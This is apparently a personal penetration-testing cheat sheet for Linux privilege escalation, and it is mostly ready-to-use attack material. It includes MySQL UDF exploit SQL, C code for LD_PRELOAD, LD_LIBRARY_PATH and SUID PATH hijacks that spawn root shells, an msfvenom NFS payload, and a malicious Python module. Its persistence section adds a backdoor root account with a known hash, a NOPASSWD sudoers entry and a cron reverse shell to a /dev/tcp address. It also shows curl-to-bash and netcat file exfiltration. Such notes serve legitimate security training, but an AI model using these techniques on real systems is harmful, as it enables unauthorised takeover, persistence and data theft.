Return to Main Page

Linux PrivEsc


PrivEsc Strategy

  • Kernel Exploits
    • searchsploit <kernel version>
    • If you think an exploit should work but it is not, then look up the CVE for the exploit and google it to search for others.
  • Check user id and groups
    • id
    • Google exploits for groups
  • Password attacks
    • Password reuse
    • Guess passwords
    • Try to authenticate as other users:
      • SSH
      • su <user>
  • Run linpeas
    • Rerun as new user if a new on is accessed
    • If there is trouble downloading and running the script try piping to bash: curl <url to kali machine/linpeas.sh> | bash
      • This method also avoids using the victim's disk
  • Look for sensitive files/information
    • Locations that may contain passwords
      • Recursively search directories for files that contain the word password
      • Home directory
      • History files
      • Config files
        • Web server files
      • Log files
        • /var/log
    • Look for private SSH keys
    • Check website configurations
      • /etc/apache2/sites-enabled
  • Look for running programs
    • ps aux
    • Look for programs being running as root, see if exploitable
    • Enumerate versions, look for vulnerable/exploitable ones
      • If there is trouble enumerating versions, try googling the md5sum of the program
  • Network traffic
    • Listen for traffic on localhost
      • use tcpdump
      • Might find credentials being passed over the network
  • mysql
    • If we can log in to it, look for sensitive information
    • UDF Exploit - Run commands as the user (preferably root) that is logged into mysql
      • Place a UDF exploit shared object in the mysql plugins directory
        • Get plugins directory:
          SHOW VARIABLES LIKE 'plugin_dir';
        • Exploit
        • use mysql;
          create table foo(line blob);
          insert into foo values(load_file('<udf exploit shared object>'));
          select * from foo into dumpfile '<sql plugin directory>/<udf explit shared object>';
          create function sys_exec returns integer soname '<udf explit shared object>';
          select * from mysql.func;
          select <shared object library symbol/function>('<command>')
        • UDF Exploit Shared Objects
          • raptor_udf
            • Exploit function: do_system('<command>')
          • /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so
            • Exploit function: sys_exec('<command>')
          • /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so
            • Exploit function: sys_exec('<command>')
  • If web page is running under the context of higher privilege user, try to create a web shell
  • Check network services
    • Look for open ports/running services that didn't show during port scan
      • netstat -tulpn
      • Forward internally listening ports to attacking machine
    • Check for port knocking configurations
    • /etc/knockd.conf
  • Check for interesting programs
    • PATH locations
    • dpkg -l
    • /var
    • /opt
    • /usr/local/src
    • /usr/src
    • Check programs for extended capabilities
      • getcap <file>
        • =en means root permissions. As good as sudo
  • Look for unmounted file systems
  • SUID/GUID files
    • Check GTFOBins
    • Analyze file to see if commands it is calling is using absolute paths
      • strace
  • File permissions
  • Sudo
    • Check sudo permissions
      • sudo -l
      • Check sudo commands against GTFOBins
      • If sudo command shows () in front of the command this means we are able to execute the command as another user
        • Execute sudo command as another user: sudo -u <username> <sudo command>
    • Environment Variables
      • Check with sudo -l
      • env_keep+=LD_PRELOAD - If this is set we can choose a shared object that is loaded before any others while running sudo
      • env_keep+=LD_LIBRARY_PATH - If this is set we can set where shared objects are searched for first.
  • Cron Jobs
    • Check cron PATH, see if we have write access to any directories.
    • Check if we can write to file that crontab is running
      • If so, change file to execute malicious command
      • Check if absolute paths are *not* being used
        • If so, try to create a malicious executable in PATH preceding PATH directory of the executable that is currently being used
    • Check commands using wildcards *
      • If so, create a file in the directory that the wildcard is being ran on. Name this file as the malicious command line options you would like to use against this program. Check GTFOBins to determine which flags to use.
  • systemd timers
    • New way to do cronjob on services
    • systemctl list-timers
  • Check for processes running in the background
    • pspy

    Manual Enumeration

  • User info
  • Current user
  • whoami
  • who
  • Currently logged in users W
    Current permissions id
    User list /etc/passwd
    Groups /etc/group
  • Operating System & Kernel
  • Show host hostname
    Distribution type & version
  • /etc/issue
  • /etc/*-release
  • /etc/lsb-release #debian
  • /etc/redhat-released #redhat
  • Kernel version
  • /proc/version
  • uname -a
  • uname -r
  • uname -mrs
  • rpm -q kernel
  • dmesg | grep linux
  • ls /boot | grep vmlinuz-
  • Kernel modules lsmod
    More info on specific kernel module /sbin/modinfo <kernel module>
    System architecture arch
    Environment Variables
  • /etc/profile
  • /etc/bashrc
  • Network
  • Network interfaces and addresses /proc/net/fib_trie
    Listening ports (HEX encoded) /proc/net/tcp
  • cat /proc/net/tcp | grep '00000000:0000 0A'
    • 0A = listening
    • 0100007F:15E1 = 127.0.0.1:5701
  • File System
  • Search for files modified between two dates find / -newermt YYYY-MM-DD ! -newermt YYYY-MM-DD -ls 2>/dev/null
    Show additional details about files stat <file>
    List files and their 32-bit last modified time
  • find / -type f -printf "%T+ %pn\n"
    • %T+ - Show full last modified timestamp
    • %pn - Show file name
    List extended permissions getcap <file>

    File transfer

  • Download to Linux
  • wget wget <url> -o <Output File>
    curl curl <url> -O <Output File>
    Base64
    Base64 Encrypt File base64 <file>
    Decode Base64 and Recreate File base64 -d <file w/ base64 text> > file
    socat
    Upload socat TCP4-LISTEN:<port #>,fork file:<File>
    Download socat TCP4:<ip address>:<port #> file:<File>,create
    netcat
    Upload nc <ip address> <port #> < <Upload File>
    Download nc -lvnp <ip address> <port #> > <Download File>
    scp scp <user>@<ip address>:<file> <Directory to Download to>
  • Upload to Linux
  • Base64
    Base64 Encrypt File base64 <file>
    Decode Base64 and Recreate File base64 -d <file w/ base64 text> > file
    socat
    Upload socat TCP4-LISTEN:<port #>,fork file:<File>
    Download socat TCP4:<ip address>:<port #> file:<File>,create
    /dev/tcp
    Upload file cat <file> > /dev/tcp/<ip address>/<port>
    Download File nc -lvnp <port> > <Output File>
    scp scp <file to upload> <user>@<ip address>:<Directory to upload to>

    Shell Upgrade and Escapes

  • Upgrade
  • Enable tab and autocompletion
  • Send victim shell to background with ctrl+z
  • Command: stty raw -echo;fg;
  • Bring process back with fg
  • Format shell size if formatting is bad
    Check rows # and columns # on kali box, in a pane the same size as the victim shell. stty -a
    Victim shell stty rows <#> cols <#>
    TTY Upgrade
    Check for TTY
  • tty
  • sudo -i
  • Python python -c "import pty;pty.spawn('/bin/bash');"
    Python3 python3 -c "import pty;pty.spawn('/bin/bash');"
    script command script /dev/null -c bash
    Perl perl -e 'exec "/bin/sh";'
    Enable "clear" command export TERM=xterm
    Setting PATH variable export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/usr/bin:/sbin:/binusr/local/sbin:/usr/local/bin:/usr/sbin:
    Break out of rbash
    Method 1 ssh <username>@<ip address> -t "bash --noprofile"
    Method 2 ed
    !'/bin/bash'
    Break out of python shell import os
    os.system("bash");
  • Setup an SSH Shell
    • An SSH shell will not always be possible. SSH is frequently, but not always, configured to not allow SSH shells for certain users.
    • Create an SSH key
      • run: ssh-keygen
        • When it prompts for a password just push enter
        • This will generate a public and a private key
        • The contents of the public key must be in a file call "authorized_keys" in a folder called .ssh in the users home directory.
          • /home/<user we have access to>/.ssh/authorized_keys
        • The contents of the private key must be on our machine in a file with permissions set to 600
          • The private key file can be named anything
          • chmod 600 <private key file>
    • Connect via ssh
      • ssh <user>@<victim ip> -i <private key file>

    Auto Enumeration Tools

  • Kernel exploits
    • Kernel exploits tool
      • Linux Exploit Suggester Script
  • PrivEsc Tools
    • linpeas
    • pspy
    • http://pentestmonkey.net/tools/audit/unix-privesc-check
    • http://labs.portcullis.co.uk/application/enum4linux/
    • Linux smart enumeration
    • LinEnum
    • https://github.com/AlessandroZ/BeRoot
    • https://github.com/linted/linuxprivchecker
    • suid3num

    Sudo Environment Variables

  • Sudo version
  • Environment Variables
    • sudo -l to view configured environment options
    • LD_PRELOAD
      • If LD_PRELOAD is set it will load whatever shared object is set before anything else.
        • Create malicious shared object
        • 
          #include <stdio.h>
          #include <sys/types.h>
          #include <stdlib.h>
          void _init() {
              unsetenv("LD_PRELOAD");
              setresuid(0,0,0);
              system("/bin/bash -p");
          }
          
          #gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
                          
      • Run any sudo enabled command:
        • sudo LD_PRELOAD=/tmp/preload.so <sudo command>
  • LD_LIBRARY_PATH
    • LD_LIBRARY_PATH is an environment variable that contains the directories where shared libraries are searched for first.
      • ldd command will show the shared objects used by a program
    • Create a new shared object with the same name as the one used by the program
      • Set the LD_LIBRARY_PATH to its directory to get the program to execute the new shared object instead.
      • Example:
        • ldd /usr/bin/apache2
        • Output: shared objects, choose one to replace
        • Create a file to compile that will replace the original shared object
        • 
          #include <stdio.h>
          #include <stdlib.h>
          static void hijack() __attribute__((constructor));
          void hijack() {unsetenv("LD_LIBRARY_PATH");
              setresuid(0,0,0);
              system("/bin/bash -p");
          }
          
          #gcc -o <Malicious .so> -shared -fPIC library_path.c  
                          
        • run command
          • sudo LD_LIBRARY_PATH=<Malicious .so directory> <sudo command>
          • Rooted

    NFS

    Show the NFS server’s export list showmount -e <target>
    Show NFS shares with nmap nmap –sV –script=nfs-showmount <target>
    Mount an NFS share mount -o rw,vers=2 <target>:<share> <local_directory>
  • NFS share information is stored in /etc/exports
  • Root Squashing
    • When connecting to an NFS share, if root squashing is enabled, then the owner of the files in the share will be set to "nobody".
      • On victim machine:
        • Check /etc/exports to see if no_root_squash is listed. If so, root squashing is disabled.
      • On attack machine:
        • Confirm NFS share is available for remote mounting
          • showmount -e <target ip>
        • mkdir /tmp/nfs
        • mount -o rw,vers=2 <target>:<share> /tmp/nfs
        • sudo msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
        • chmod +xs /tmp/nfs/shell.elf
      • On victim machine
        • Execute payload
          • /tmp/shell.elf

    SUID and GUID executables

    Find files with guid or suid set find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
    See which commands/executables a file is trying to run strings <program>
    Confirm which executable/command a program is trying to run
  • strace -v -f -e execve <program> 2>&1 | grep executable/command
  • ltrace <program>
  • Check file for missing shared objects ld <executable>
    Update cache to include new shared objects ldconfig
  • Check GTFOBins for flags to use in order to execute malicious commands
  • Binary being called is not absolute (scp vs /usr/bin/scp)
  • Shared object not found
    • Vulnerability to shared object injection
      • Find shared objects that are not found by the executable
      • Create a shared object in the directory where the shared object is being searched for
      • #define _GNU_SOURCE
        #include <stdlib.h>
        #include <unistd.h>
        
        int main(void) {
            setresuid(0, 0, 0);
            system("/bin/bash");
        }
      • gcc: error trying to exec 'cc1': execvp: No such file or directory
        • Check environment variables to make sure PATH has been set
          • export
        • If PATH has not been set, then set it
          • export PATH
  • File calls for executable without absolute path
    • We can add a malicious version of the executable to our PATH.
    • Create a malicious executable with the same name as the program that is being called without an absolute path
    • 
      int main() {
          setuid(0);
          system("/bin/bash -p");
      }
      #gcc -o <file> <file.c>
              
    • PATH=.:$PATH
    • Execute vulnerable SUID/GUID
    • Rooted
  • Calls for executable w/ absolute path and bash < 4.2-048
    • function <exectuable being called> { /bin/bash -p; }
    • export -f <exectuable being called>
    • execute vulnerable suid/guid file
    • Rooted

    Persistence Methods

    Add new root to /etc/passwd
  • echo "root2:<hash>:0:0:root:/root:/bin/bash" >> /etc/passwd
  • Generate new password hash openssl passwd <password>
  • echo "root2:S3g6q5KuTzNkU:0:0:root:/root:/bin/bash" >> /etc/passwd
    • password = root
  • su root2
  • Add user to /etc/sudoers echo "<user> ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers
    SUID Bash
  • cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
  • ./rootbash -p
  • Malicious Cronjob echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/<ip address>/<port #> 0>&1' "

    Groups

  • Video
    • The video group gives us access to screen output
      • Privesc usage example: If a user has a credential showing on their screen we can look at the screen image and view the credential.
    • How to view screen output
      • Capture the raw image data of current screen output cat /dev/fb0 > /tmp/screen.raw
        Get the screen output image resolution size cat /sys/class/graphics/fb0/virtual_size
      • Open screen.raw using gimp. File > Open... > Select File Type: Raw image data > (check) Show All Files Files > (click on/open) screen.raw
      • Set width and height to what is shown in /sys/class/graphics/fb0/virtual_size
      • Change "Image Type:" until a clear image is shown.

    Malicious Python Module

  • If a script is being ran by root and we have write permissions to a module that the script is importing then we can get root command execution by modifying the module being imported.
  • Vulnerable script(s) on victim machine
  • admin_tasks.py
    • Calls backup.py
    (Removed irrelevant code)
    "….then
            echo 'Running backup script in the background, it might take a while…'
            /opt/scripts/backup.py &….."
            (Removed irrelevant code)
  • backup.py
    • imports shutil.py and execute make_archive with 3 arguments
    #!/usr/bin/python3
        (Removed irrelevant code)
    from shutil import make_archive
       (Removed irrelevant code)
    …make_archive(dst, 'gztar', src)
       (Removed irrelevant code)
    Create malicious module - shutil.py
    import os
    
    def make_archive(a, b, c):
    <malicious payload>
    Malicious payloads
  • Spawn root shell
  • import os
    import pty
    
    os.setuid(0)
    pty.spawn("bash")
  • Execute malicious bash command
  • import os
    
    os.system("<malicious bash command>");